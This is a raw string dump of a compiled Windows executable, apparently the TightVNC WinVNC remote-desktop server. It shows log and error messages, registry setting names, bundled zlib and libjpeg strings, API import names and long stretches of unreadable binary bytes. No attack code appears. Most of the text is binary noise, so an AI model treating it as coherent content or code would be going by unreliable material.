locally .\vncEncoder.cpp: only 8-bit palette format supported remotely .\vncEncoder.cpp: only 8, 16 or 32 bits supported locally - %d in use .\vncEncoder.cpp: only 8, 16 or 32 bits supported remotely - %d requested .\vncEncoder.cpp: SetTranslateFunction called .\vncEncoder.cpp: failed to obtain colour map data! .\vncEncoder.cpp: generating 8-bit palette data .\vncEncoder.cpp: generating BGR233 palette data .\vncEncoder.cpp: remote palette data requested .\vncEncoder.cpp: incorrect data in cursor bitmap. .\vncEncoder.cpp: vncDesktop::GetRichCursorData() failed. .\vncEncoder.cpp: GetBitmapBits() failed. .\vncEncoder.cpp: GetObject() for bitmap failed. .\vncEncoder.cpp: cursor bitmap handle is NULL. .\vncEncoder.cpp: GetIconInfo() failed. .\vncEncoder.cpp: cursor handle is NULL. XE AAAA@APAAЩAARRE 'Y @PFd:(  .@  %' | 2 @0<@F  @K `PEPAAAAAAAAATight.\vncEncodeTight.cpp: deflate() call failed. .\vncEncodeTight.cpp: deflateParams returned error:%d:%s .\vncEncodeTight.cpp: calling deflateParams with zlib level:%d .\vncEncodeTight.cpp: deflateInit2 returned error:%d:%s 1.1.4.\vncEncodeTight.cpp: calling deflateInit2 with zlib level:%d E AAAA APAAAA`AZlib.\vncEncodeZlib.cpp: deflate returned error:%d:%s .\vncEncodeZlib.cpp: deflateInit2 returned error:%d:%s .\vncEncodeZlib.cpp: calling deflateInit2 with zlib level:%d <EAApAAAPAAPAAAABBZlibHex.\vncEncodeZlibHex.cpp: deflate returned error:%d:%s .\vncEncodeZlibHex.cpp: deflateInit2 returned error:%d:%s .\vncEncodeZlibHex.cpp: calling deflateInit2 with zlib level:%d E Bi:\tightvnc-1.3.10-setup\vnc_winsrc\winvnc\vncPasswd.h: PASSWD : FromText called ~~~~~~~~E BWARNING: You have entered equal RFB and HTTP port numbers. Your changes to port numbers will not be saved.WARNING: You have entered passwords of length exceeding eight characters, but the standard VNC authentication scheme does not support such long passwords. Your passwords will be truncated to just eight characters.EB`E@BScreenSharedDriver is not usedDriver is in use%dE )BE0-BAutoReject: %uAutoAccept: %uAutoReject:%uAutoAccept:%u8E0/BFailed to connect to listening VNC viewerOutgoing ConnectionMS Sans Serif, 8, , WARNING : Running WinVNC without setting a password is a dangerous security risk! Until you set a password, WinVNC will not accept incoming connections.This machine has been preconfigured with WinVNC settings, which cannot be overridden by individual users. The preconfigured settings may be modified only by a System Administrator.No password has been set & this machine has been preconfigured to prevent users from setting their own. You must contact a System Administrator to configure WinVNC properly.WARNING : This machine has no default password set. WinVNC will present the Default Properties dialog now to allow one to be entered.The WinVNC settings for the current user are unavailable at present. If you have started the service manually, please run the Service Helper as well.You do not have sufficient priviliges to edit the default local WinVNC settings.LocalInputsPriorityDriverDirectAccessDontUseDriverDontSetHooksOnlyPollOnEventOnlyPollConsolePollFullScreenPollForegroundPollUnderCursorPollingCycleLocalInputsDisabledLockSettingInputsEnabledCORBAConnectPasswordViewOnlyPasswordQueryAllowNoPassQueryAcceptQueryTimeoutQuerySettingLocalInputsPriorityTimeEnableFileTransfersBlankScreenRemoveWallpaperIdleTimeoutBeepDisconnectBeepConnectHTTPPortNumberPortNumberAutoPortSelectSocketConnect.\vncProperties.cpp: saving current settings to registry .\vncProperties.cpp: bypassing user-specific settings (both local and global) .\vncProperties.cpp: loading "%s" global settings .\vncProperties.cpp: loading "%s" local settings AllowEditClientsAllowPropertiesAllowShutdown.\vncProperties.cpp: loading DEFAULT local settings .\vncProperties.cpp: clearing user settings AuthHostsConnectPriorityAuthRequiredEnableHTTPDaemonEnableURLParamsLoopbackOnlyAllowLoopbackDisableTrayIconDebugLevelDebugMode.\vncProperties.cpp: loading local-only settings SYSTEM.\vncProperties.cpp: service helper invoked while Properties panel displayed MB1WVNC.\vncProperties.cpp: enddialog (CANCEL) .\vncProperties.cpp: enddialog (OK) TightVNC Server: Default Local System PropertiesTightVNC Server: Current User PropertiesAdministrationQueryDisplayHooksServerWinVNC Warning.\vncProperties.cpp: warning - no valid passwords set .\vncProperties.cpp: dialog result = %d .\vncProperties.cpp: show default system Properties .\vncProperties.cpp: show per-user Properties WinVNC ErrorEUBUB`n@hhctrl.ocxCLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32@`ެu`ެ deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly ^B_B_B _BbB bBbB bB bB bB       L,l\<|B"bR2r J*jZ:zF&fV6vN.n^>~A!aQ1q I)iY9yE%eU5u M-m]=}   S S  3 3  s s    K K  + +  k k     [ [  ; ;  { {     G G  ' '  g g     W W  7 7  w w     O O  / /  o o     _ _  ? ?     @ `P0pH(hX8xD$dT4tC#c         (08@P`p  0@`  0@`incompatible versionbuffer errorinsufficient memorydata errorstream errorfile errorstream endneed dictionaryE@ @`n@E B @`n@ (3= :<7 (9E83WP>%8DmgM#7@Qhq\1@NWgyxeH\_bpdgc/ccccBcccc8ccccc/Bcccccccccccccccccccccccccccccccccccccc  }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzApplication transferred too many scanlinesInvalid SOS parameters for sequential JPEGCorrupt JPEG data: found marker 0x%02x instead of RST%dPremature end of JPEG fileWarning: unknown JFIF revision number %d.%02dCorrupt JPEG data: bad Huffman codeCorrupt JPEG data: premature end of data segmentCorrupt JPEG data: %u extraneous bytes before marker 0x%02xInconsistent progression sequence for component %d coefficient %dUnknown Adobe color transform code %dObtained XMS handle %uFreed XMS handle %uUnrecognized component IDs %d %d %d, assuming YCbCrJFIF extension marker: RGB thumbnail image, length %uJFIF extension marker: palette thumbnail image, length %uJFIF extension marker: JPEG-compressed thumbnail image, length %uOpened temporary file %sClosed temporary file %s Ss=%d, Se=%d, Ah=%d, Al=%d Component %d: dc=%d ac=%dStart Of Scan: %d componentsStart of Image Component %d: %dhx%dv q=%dStart Of Frame 0x%02x: width=%u, height=%u, components=%dSmoothing not supported with nonstandard sampling ratiosRST%dAt marker 0x%02x, recovery action %dSelected %d colors for quantizationQuantizing to %d colorsQuantizing to %d = %d*%d*%d colors %4u %4u %4u %4u %4u %4u %4u %4uUnexpected marker 0x%02xMiscellaneous marker 0x%02x, length %u with %d x %d thumbnail imageJFIF extension marker: type 0x%02x, length %uWarning: thumbnail image size does not match data length %uJFIF APP0 marker: version %d.%02d, density %dx%d %d %3d %3d %3d %3d %3d %3d %3d %3dEnd Of ImageObtained EMS handle %uFreed EMS handle %uDefine Restart Interval %uDefine Quantization Table %d precision %dDefine Huffman Table 0x%02xDefine Arithmetic Table 0x%02x: 0x%02xUnknown APP14 marker (not Adobe), length %uUnknown APP0 marker (not JFIF), length %uAdobe APP14 marker: version %d, flags 0x%04x 0x%04x, transform %dCaution: quantization tables are too coarse for baseline JPEG6b 27-Mar-1998Copyright (C) 1998, Thomas G. LaneWrite to XMS failedRead from XMS failedImage too wide for this implementationVirtual array controller messed upUnsupported marker type 0x%02xApplication transferred too few scanlinesWrite failed on temporary file --- out of disk space?Seek failed on temporary fileRead failed on temporary fileFailed to create temporary file %sInvalid JPEG file structure: SOS before SOFInvalid JPEG file structure: two SOI markersUnsupported JPEG process: SOF type 0x%02xInvalid JPEG file structure: missing SOS markerInvalid JPEG file structure: two SOF markersCannot quantize to more than %d colorsCannot quantize to fewer than %d colorsCannot quantize more than %d color componentsInsufficient memory (case %d)Not a JPEG file: starts with 0x%02x 0x%02xQuantization table 0x%02x was not definedJPEG datastream contains no imageHuffman table 0x%02x was not definedBacking store not supportedRequested feature was omitted at compile timeNot implemented yetInvalid color quantization mode changeScan script does not transmit all dataCannot transcode due to multiple use of quantization table %dPremature end of input fileEmpty input fileMaximum supported image dimension is %u pixelsMissing Huffman code table entryHuffman code size table overflowFractional sampling not implemented yetOutput file write error --- out of disk space?Input file read errorDidn't expect more than one scanWrite to EMS failedRead from EMS failedEmpty JPEG image (DNL not supported)Bogus DQT index %dBogus DHT index %dBogus DAC value 0x%xBogus DAC index %dUnsupported color conversion requestToo many color components: %d, max %dCCIR601 sampling not implemented yetSuspension not allowed hereBuffer passed to JPEG library is too smallBogus virtual array accessJPEG parameter struct mismatch: library thinks size is %u, caller expects %uImproper call to JPEG library in state %dInvalid scan script at entry %dBogus sampling factorsInvalid progressive parameters at scan script entry %dInvalid progressive parameters Ss=%d Se=%d Ah=%d Al=%dUnsupported JPEG data precision %dInvalid memory pool code %dSampling factors too large for interleaved scanWrong JPEG library version: library is %d, caller expects %dBogus marker lengthBogus JPEG colorspaceBogus input colorspaceBogus Huffman table definitionIDCT output block size %d not supportedDCT coefficient out of rangeInvalid component ID %d in SOSBogus buffer control modeMAX_ALLOC_CHUNK is wrong, please fixALIGN_TYPE is wrong, please fixSorry, there are legal restrictions on arithmetic codingBogus message code %dDtDTD,DDDDDDpDXDDDDDDD\D$D DDDpDPD$DDDDD|DdDPD%ld%cJPEGMEM     !(0)" #*1892+$%,3:;4-&'.5<=6/7>?????????????????@XSBK@I2"X!{sbhXE 0~SsAmTbSAA-BKbhTb~XBK!;(@XSBK@I2"I2EA!;I2'7 " 0A-("7 ~ ?aHP1?oM?lb??;i$? {zQ?]rU? @ @?zQ?}?`?,ECtEK(C>(CUnknown exceptioncsm CorExitProcessmscoree.dllUC/UC/UC(null)(null)EEE50P( 8PX700WP `h````xpxxxxruntime error TLOSS error SING error DOMAIN error R6034 An application has made an attempt to load the C runtime library incorrectly. Please contact the application's support team for more information. R6033 - Attempt to use MSIL code from this assembly during native code initialization This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain. R6032 - not enough space for locale information R6031 - Attempt to initialize the CRT more than once. This indicates a bug in your application. R6030 - CRT not initialized R6028 - unable to initialize heap R6027 - not enough space for lowio initialization R6026 - not enough space for stdio initialization R6025 - pure virtual function call R6024 - not enough space for _onexit/atexit table R6019 - unable to open console device R6018 - unexpected heap error R6017 - unexpected multithread lock error R6016 - not enough space for thread data This application has requested the Runtime to terminate it in an unusual way. Please contact the application's support team for more information. R6009 - not enough space for environment R6008 - not enough space for arguments R6002 - floating point support not loaded Microsoft Visual C++ Runtime Library ...Runtime Error! Program: &CE>C>(Cbad exception.mixcrtEncodePointerDecodePointerFlsFreeFlsSetValueFlsGetValueFlsAlloc  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~=InitializeCriticalSectionAndSpinCounte+000~PAGAIsProcessorFeaturePresentKERNEL32 Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase copy constructor iterator'`vector copy constructor iterator'`dynamic atexit destructor for '`dynamic initializer for '`eh vector vbase copy constructor iterator'`eh vector copy constructor iterator'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI`EH`udt returning'`copy constructor closure'`eh vector vbase constructor iterator'`eh vector destructor iterator'`eh vector constructor iterator'`virtual displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting destructor'`default constructor closure'`vector deleting destructor'`vbase destructor'`string'`local static guard'`typeof'`vcall'`vbtable'`vftable'^=|=&=<<=>>=%=/=-=+=*=||&&|^~(),>=><=<%/->*&+---++*->operator[]!===!<<>> delete new__unaligned__restrict__ptr64__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based(DDDDxDlD`DXDLD@DDDhDTD4DD8D0DD,D(D$D DDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDxDpDdDLD@D,D DDDDDhDLD(DDDDDDDDtDlD`DPD4DDDDDpDTD0D DDDDDSunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecTZGetProcessWindowStationGetUserObjectInformationAGetLastActivePopupGetActiveWindowMessageBoxAUSER32.DLLEXEEEE00P('8PW700PP (`h`hhhxppwpp ((((( H h(((( H H  !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~HH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneAprilMarchFebruaryJanuaryDecNovOctSepAugJulJunMayAprMarFebJanSaturdayFridayThursdayWednesdayTuesdayMondaySundaySatFriThuWedTueMonSun1#QNAN1#INF1#IND1#SNANCONOUT$string too longinvalid string positionYE E E EYE@ E,YE0 E@ EH E,YE@0 EHYEx E E EHYE@x EZE E E E EZE@ E8ZE@ E$ E ETZE@ EP EX ETZE@@ ElZE E E E ElZE@ EZE@ E E EZEEE$E EZE@EZETEdEpE EZE@TEZEEEEZE@E[EEEE E[E@E^E4EDEPE E^E@4E ^EEEEPE E ^E@E@^EEEEPE E@^E@Ep^E E0E8Ep^E@ E^EhExEE^E@hE^EEEE^E@E^EEEE E^E@E^EDETE\E^E@DE _EEEEE _E@E@_E@EEE`_E EE(EE`_E@ E@_EE_ElE|EEE_E@lE_EEEEE_E@E_EEE EE_E@E_EPE`ElEE_E@PE `EEEE `E@E8`EEEE8`E@Eh`E,E<EDEh`E@,E`EtEEE`E@tE`EEEE`E@E`EEEE`E@EaELE\EdEaE@LE(aEEEE E(aE@EZE EaEEEE EaE@E(bE@EPEXE(bE@@E8ZE ElhEEEE ElhE@ED"EY@E$E@EZE |@8ZE 'C0>D"\EP>D"E" Ep>D{>D>D>D>D>D>D>D>D>D>D"(E@7@TE"EdE?D?D ?D(?D0?DP?D[?D"Ep?D"E?D"4E?D"`E?D?D"E?D"E@D@D"E@@ E"0E@E@@xE"EEP@DX@D`@D@@@U@"ELEEE@D"tE`@E@D"EEE@E@^E(@^E(@`@4EDEE@E ^E(@@D@D"`E"E@D@DADADAD0AD"EPAD^ADlAD" EADAD"HEADAD"|EAD"EBDBD#BD"E@BDKBD" E`BD"L EBD"x EBD" EBD" EBD" E"L!ECDCDCD*CD8CDFCD`CDkCD"|!E"!ECDCDCDCDCDCD@VQA"E""E$"ECDCDDD DD"\"E DD9DD""EPDD""EpDD"#EDDDDDD",#EDD"h#EDD"#EED EDED"#E0ED"#EPED"($EpED{ED"T$EED"$E$E$EaEED"$E$%E,%EaEEDED"H%EED"|%EFD"%ECR C&C].CQCSCWCWCWCWCqXCXCZC[CpCCCCiCrC@IC'E"'E'ECCChClCCC3CT(E`(E@ElhE CC C,CECICCCC5CCFCɶCݶC!CC.CDCHCCChCVCrCTCCCCVCC(D DxDDoD;D;D@FD"+E1(2TH-42hP->5P/l=RP-2?pP,"AP/DAR2A8U1>>>>>>~>n>^>L>6>&> >>=======?x==$424@4P4d4v44444444555EDDDDDDDD|DjDXDFD8D$DD4CCCCCCrCbCVCBC.CCCBBBBBB~BfBJB,E8EDENEZElE|EEEEE43333333v3j3T3B3,333322222222t2d2T2B2EEE F$F>FXFhFFFFFFFFGG,G;0;b<;;::::::~:l:^:J:8::::999999r9`9R9F949(99988888 ;T<888v8\8L8688887777777p7\7L7D727 77766666666t6j6\6L6:6*66 6555555555j5\5L5:2BBBAAAAA9 sto  4vAdAPAWSOCK32.dllCOMCTL32.dllGetProcAddressqGetLastErrorRLoadLibraryAFreeLibrary4CloseHandleWriteFileWriteConsoleAGetStdHandleOutputDebugStringASetEndOfFileSetFilePointerSCreateFileAnMoveFileADeleteFileA AllocConsoleCGetCurrentProcessIdqUnmapViewOfFileFGetCurrentThreadIdReadFileKCreateDirectoryASetFileTimeFindCloseFindNextFileAFindFirstFileAvGetLogicalDriveStringsASetErrorModeGetComputerNameAGetVersionExA GlobalUnlockGlobalLockGlobalAllocGetSystemTimeGlobalDeleteAtomGlobalAddAtomA[SystemTimeToFileTimeeLockResourceWLoadResourceUSizeofResourceFindResourceA`CreateMutexAOpenProcessfCreateProcessA}GetModuleFileNameAVSleep4SetProcessShutdownParametersKERNEL32.dllEnableWindowGetDlgItem6SendDlgItemMessageASetWindowTextAIsRectEmptyEqualRecttGetWindowRectGetDesktopWindow]GetSystemMetricsMessageBoxA*ReleaseDCOffsetRectuGetWindowRgnlGetWindowDCGetClassNameAwGetWindowTextA;SendMessageALoadBitmapAIsChildWindowFromPoint@ClientToScreenEGetParentLoadCursorA)ReleaseCaptureDefWindowProcACallWindowProcADestroyCursorMSetCursorLoadImageADSetCapturenGetWindowLongASetWindowLongA GetDCCCloseDesktopySetThreadDesktopOpenInputDesktopaGetThreadDesktopEnumDisplaySettingsAkeybd_event&GetKeyboardStateIntersectRectmouse_event GetCursorPosPostMessageAFindWindowASystemParametersInfoAEnumDesktopWindowsOpenDesktopA ChangeDisplaySettingsAGetIconInfoDrawIconExBCloseClipboardJSetClipboardDataEmptyClipboardOpenClipboardzSetTimerKillTimerDestroyWindowChangeClipboardChain,RemovePropAjSetPropAIsWindowVisibleJGetPropAEnumWindowsPostQuitMessageGetClipboardDataGetClipboardOwnerKSetClipboardViewer`CreateWindowExARegisterClassExAGetForegroundWindowDispatchMessageAWaitMessagePeekMessageA'RegisterWindowMessageAMapVirtualKeyAGetAsyncKeyStateVkKeyScanAEnableMenuItem3GetMenuItemIDTrackPopupMenuWSetForegroundWindow_SetMenuDefaultItemYGetSubMenu9CheckMenuItem7GetMenuStateLoadMenuALoadIconADestroyMenuExitWindowsExMessageBeepfGetUserObjectInformationAIsIconicjGetWindowPostThreadMessageAHGetProcessWindowStationTranslateMessage:GetMessageAlSetRectSSetDlgItemTextARSetDlgItemIntGetDlgItemTextAVSetFocusGetFocusGetDlgItemIntShowWindowInvalidateRgn PtInRectInflateRectSetWindowRgnUpdateWindowSetWindowPossGetWindowPlacementAClipCursorEndPaintFillRect BeginPaintGetCaptureEndDialogDialogBoxParamAFlashWindowCSetActiveWindow{GetWindowThreadProcessIdMapWindowPointsUCreateDialogParamAUSER32.dllDeleteObjectFrameRgn5SetROP2KCreateRectRgnPCreateSolidBrushGetSystemPaletteEntriesDeleteDCExtEscape.CreateDCAjGetDIBits,CreateCompatibleBitmapkGetDeviceCaps-CreateCompatibleDCRealizePaletteSelectPaletteECreatePaletteSelectObject2CreateDIBSectionBitBltGdiFlushGetStockObject!CombineRgnLCreateRectRgnIndirectGetRegionDataJGetBitmapBitsGetObjectA@CreateHatchBrushGDI32.dllRegCloseKeyRegCreateKeyARegSetValueExARegDeleteValueARegQueryValueExARegOpenKeyExA0ImpersonateLoggedOnUserOpenProcessTokenRevertToSelf>CloseServiceHandledCreateServiceAOpenSCManagerADeleteServiceQueryServiceStatusBControlServiceOpenServiceARegOpenKeyADeregisterEventSourceReportEventA RegisterEventSourceA$GetUserNameADSetServiceStatus RegisterServiceCtrlHandlerAJStartServiceCtrlDispatcherARegCreateKeyExAADVAPI32.dllShell_NotifyIconASHELL32.dllCoCreateInstanceiCoUninitialize;CoInitializeole32.dllUnSetHookSetMouseFilterHookSetKeyboardFilterHookSetMousePriorityLLHookSetKeyboardPriorityLLHookSetMousePriorityHookSetKeyboardPriorityHookSetHookVNCHooks.dll#InitializeCriticalSectionDeleteCriticalSectionEnterCriticalSectionQLeaveCriticalSectionReleaseSemaphorekCreateSemaphoreAWaitForSingleObjecteTlsGetValueDSetThreadPriorityfTlsSetValueDuplicateHandleEGetCurrentThreadBGetCurrentProcesscTlsAllocResumeThreadGetSystemTimeAsFileTimeHeapFreeHeapAllocRtlUnwind^TerminateProcessnUnhandledExceptionFilterJSetUnhandledExceptionFilter9IsDebuggerPresentRaiseExceptionGetModuleHandleAExitProcessGetCommandLineAGetProcessHeapGetStartupInfoAExitThreadoCreateThreadHeapDestroyHeapCreateVirtualFreeVirtualAllocHeapReAllocdTlsFree,InterlockedIncrement(SetLastError(InterlockedDecrementHeapSizeGetCPInfoGetACPGetOEMCP?IsValidCodePageDLCMapStringAWideCharToMultiByteuMultiByteToWideCharELCMapStringW$SetHandleCountfGetFileTypeFreeEnvironmentStringsAUGetEnvironmentStringsFreeEnvironmentStringsWWGetEnvironmentStringsWQueryPerformanceCounterGetTickCountGetTimeZoneInformation"GetConsoleCP3GetConsoleModeGetStringTypeAGetStringTypeWtGetLocaleInfoAFlushFileBuffers:CompareStringA;CompareStringWSetEnvironmentVariableA7SetStdHandle5GetConsoleOutputCPWriteConsoleWhVD#EgܺvT2#Eg @@ @ @ 80( 91)! :2*" ;3+#>6.&=5-% <4,$        (3$.6'2, /+0&7!4-)1#                                B@@@BB@@@@BBB@BBB@B@@B@BBBB@B@@@ @ @@@ @ @@ @@ @@@ @@ @@@ @@@@ @ @ @@@@ @@@@@ @ @ @@@@ @@ @@ @ @@ @@@ @@@@ @ @@ @@@@@ @@ @@                             @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@D.?AVFileTransferItemInfo@@D.?AVLog@@XWDXWDD.?AVSharedDesktopArea@@`*@0@7@+@1@8@=@>@@?@@-@3@`:@P.@4@p;@`/@5@<@-@3@:@.@5@;@/@@6@<@XWDMirage DriverDemoForge Mirage DriverdfmirageRk#NXXWDXWDD.?AVbad_alloc@std@@D.?AVexception@std@@D.?AVvncClient@@D.?AVvncClientThread@@D.?AVomni_thread@@XWDwDD.?AVvncDesktopThread@@XWDD.?AVvncHTTPConnectThread@@D.?AVvncHTTPConnect@@D.?AVvncHTTPListenThread@@XWD .!.P$Q%R&S'T(U!V"W#`)a,b+c-j/k pqrs$%&'(#!" -.jklmno`abcdefghipqrstuvwxyz{|}~D.?AVlogic_error@std@@D.?AVlength_error@std@@D.?AVout_of_range@std@@XWD`DXWDXWDD.?AVvncCorbaConnect@@D.?AVvncServer@@XWDXWDD.?AVvncSockConnect@@D.?AVvncSockConnectThread@@XWDD.?AVVSocket@@XWDvDXWDD.?AVvncEncodeCoRRE@@D.?AVvncEncoder@@XWDD.?AVvncEncodeHexT@@XWDXWDD.?AVvncEncodeRRE@@XWDD.?AVvncEncodeTight@@XWDD.?AVvncEncodeZlib@@XWDD.?AVvncEncodeZlibHex@@XWDD.?AVAdministrationControls@@XWDD.?AVIncomingConnectionsControls@@XWDD.?AVInputHandlingControls@@XWDMATCHWINDOWD.?AVCMatchWindow@@XWDXWDD.?AVQuerySettingsControls@@D.?AVvncAcceptDialog@@XWDD.?AVvncConnDialog@@XWDD.?AVvncTimedMsgBoxThread@@DDDxD0DDPDDDD8D(DDDDDDD.?AVomni_thread_fatal@@D.?AVomni_thread_invalid@@D.?AV_internal_omni_thread_dummy@@XWDD.?AVtype_info@@XWDXWD        ! 5A CPR S WY l m pr   )    QCEEusXWDDD DD D 0DDDDDLD$DDDDlDD D!D"8Dx$DyDzDWDDXWDD.?AVbad_exception@std@@N@D abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZhE`y!@~ڣ @ڣ AϢ[@~QQ^ _j21~TECmEmEmEmEmEqEPEEX EpEmEmEhEc{#Tw=:zc%C1{ώ:e~Ύ;_P/\+xWqg_o2-n=jǷ0\^];2\?h8ŚvҎp,*'#~4;;~JbP?r'F/:@-@HڕaE]BsRDA n錑m9ȵ &4مj"\KLk {%鲸!hZMGo͚آy&MۿE[5q&n.M=4[Mτ ;i:.b]tC&zc]&z$Ϗd<߸Xq&q)MӚxF{4,<\xQ/ienA+xUk 3xCo`C%K$}MgC~c]|9& OƧ|s.DpBsBs::F !BF7#KH(+kSP۔X$j #-D> E#0Bք|}9] 4hE8B~ # %<] w4"`"b)pmۆ0,`sm! j!DȮh/ 5Ƽh1v $Nڿ7@8D˩3sf7gbNbXF 4pON dG!__׵4||ܨjAVq5&ikmH:mE;M0xH4Y'VtF=67 V^_,Y`kGIl YatxѵF= jh{x-_-I#n hpd7t&y@5'k7BOo SlN[䍮$&OH.Éo02u#d']3n4xVLp+:cMƺKk+ܴ:LB0'FRsXI9lД1#UÀ4`"L;dgVbi 0j kux1?6QE"aN$)5א`xX00- #"[eB~`85:M.5$;S*yVs Xh䙐JÛ&uyZ4贁@ tdFd2oPǍxc5XM:ױt?i+g⯉H_F wMjD+]|-\Jx؎:Z 2[}N_O ]|7P__c+W"0tLKl$Ya.,ſFG!c@RA+ŏHOT`'3tP_q1Gx:*$`].vie$]@6IWV!zuiUK_, H0N`06qčRT Dle/R'2+t2b0|\\F(!rZh /$Ov!usn'{FqF*j\Q# . O M:v]#. ׆-yX?&5wi(w#&Xf?Di?pgO[-K u5ad@xʼI:ea(p<.GH {y(tƛt9i,FR㈑09$g.N0Rs'LNx੕ 'ISF~+2tY,'#KtY*xmd;d]Nv)/FB$E4==*$dz1Um0Ka\w>ogp SaKߡxnoɓu}*s,'eabHc>jIB%x#G*OI.1jkE;;Lan H,tO88fc([?}'uj -!,3yưڰۛ~j0_x F'ICOftN1Ɗ9Z܄0ģx2cq#0+ȅ/;e(&QYhL9_J9O2jU(#,BIDGyesQͬa=Vi IEH|Yҽ'Mx.-F$x#7Q˔e Zdzlr$mo(kG1@lJ]qbBKrI  8jr)oD^3˸ ̆S"oS.[t㫵WR',Qe+1 ~MR7wEixJ&gV~R,º&ou+$++.WK2EHď,D; 3 " VS.XZcی :~XRؗH;鸆={v'w2sWHVNds6"o33z+0L 1tZ弹r"i T\E4~NcҺJh4I(J1I@{ts QZOdg]D2*OO8~5LsKs3g0+J>TCZ˳1jr$9E|>SYF Jl iwG'*͹D ./dqq1pqZ!ITY/`./c$7kG ww,^"ܱPGh<]3nڌ[ӶJٯ?_!M0Hھ 4oݬhWQp&(.![w+evkYg7M[i+Vm#QWYP:,}f㝬V\?$J,:C!39`ToH0C%!pÙ)ۙyD_l :<-[%̍h >݅$Dc%0[M0Ads2<|qj!IMYԷ6\zCvss L+ Q=N;Ä:T͈5U|a$ :#ad`t4|j$ʏi3H]=ӑU ]Xg2߁lf^XCxĢTv`D滆C-*|0(_9d@/Cl_ w_3i!kM GUMkד&]QeS_o!kzFZ6&*At>"C5_Mo.TC|G 6%Y8v M~&CTY<~iC9m dpdwF-fh凶)if$ԡHBZ/o0'Yzt0)XʏPczg3(j+զ^ Ľܵd͌>ؾ`4mL켐D(f ۘΎ&ZFPjQiNTFgZoԆEn:<bz֔gq@o]~4f%>1dy(t_mD=*e 3k Aa+X/ l鬴9Iv)7z:vI=<5T7>3b wLb7AJ;M*_q<1FzԨR2KNCI\@|Rዬ`T?Jz_nm!K_E nȁe_QPr̯1J%^eɠDV\gMP6q4k Ǽ B?$f(QKq@<̠T/A+p"9wI"Tv'یu*|Jp@TuiPp 4Fc A`.?Pu-֩OPu6 z .UUORxOE[Чj?n6Uc@+q:dVaէYuYNk^k,VO3TşFT,<[(@Byԛ\O #Ad|<TY0^Zi Ȩ.tCf %DJN?-Emة, &C6-a(Lp$iuQbk8=C!pxv e^{ r&*ǕKΥnwC^hNhs!t!0ø] wÈā^(bnn͜ps1cgaAFs 0`P:t4F@."X H1! U a xa-a#*O3 Hk Άk΅.8i* W3.ޥ j#̧i㓈+ĠwJ{ 8]p8 SGv4F4+k8L_J 9~GS.8fj`8aFM¬f){`vtt:8颫%0 H*iojhi:_@;.хj^j&n8./UX֮q^Mr'tA5\% &G D]=,=j2_NUV'uacjaWDͪ!HfmB+ýJ0VLcqͱ&46O]8ޢNEyFi{ay԰I3T]GKx ~'QS{pLGm| g]|?:C;U#1 .FǢ >S1> Q _FD7b)|+Vw _R_Wb$p@S%F.l7\Zֺq(o$/m\ mq8<\@pf5p噞Œ8MI jYϱ2g7{FFBI/ߗkNP ̅A}Gꂌw*lGr$@\X #q ƩfUncu~.051?e <%T43rqʌ.Ihzi3˺\IZWɀ\$Nv1 Srʵ)8r})9Fx\7$aj,YEr87j{<n*f^T]0sk-TT/lNl6]@8qlX^m}HYP|v)XOoQcRo("K'EC$IQ" 2(gP4y(~ PL(\MnEI8$d8ܱYy3}'a[;ÖBwu6Fꅻ]H'U.E{S۴U@4ԔrPATE }39=@7찼T r}|~!vRf-iz3`M)^O/I4HN{'uRnG,I䐇nk-e;]D2V2ZAn!x0 %xwQxB~X;d|ZpIg74]4d!Y Szj7IOTڄL~89jHhBW)S<d= e䳖p >O>Vd2JV2=<;퓓0![{9I^j4i>MzaM0՜oz19KKi͡Grv ̭DI 1}9uκ"ڲXfj,ȞyN7RdY۠;T 7*-˷x߂%J$uV5N%G֘:9=Ʒl3`YY@6 s2shyu 3!Bqx yʺaR=C㓑R 7&}]ta ~1'p~NK؁_.'tEqd~Ox%QIm" CE6E.N,.*cb(NhVf1X)aψ%Jp(d?(WtD8Zgb(fR1[!9ć EPkbu YH9h3#BJp] OD 0FP[k4l9oyS¹<Ә=DtOA?~_UPbb9FhF2SLU+T?E՘]08V>R֔)}\G0JPjs E~+P>XpQb%A pH6+N\@ygv[<ƼK3 ~L]oᭃd6{D3u%,~}N9+#|/+|+6Y8uӉeglq64s @ M8.|..%^r@\ч$oIcfpc5v ~a7RsK!&H՟+WS" MCq:ĕ+asōLaq3Lrq wf;ޚ|`d0zC6ub>q> Yקqf~7T*lR]BQ|8|4?ӆߵ%7׷E[i;;n~7#UGjd6K`un~ɃCNTBx]P.v NjǠAv;ȩ%JJUv嶟#;Γc?C>)dlieS X ^@̅% ![#9ml$%^%,/E]ݘ3>¬h9C17_ˑQ!G|9 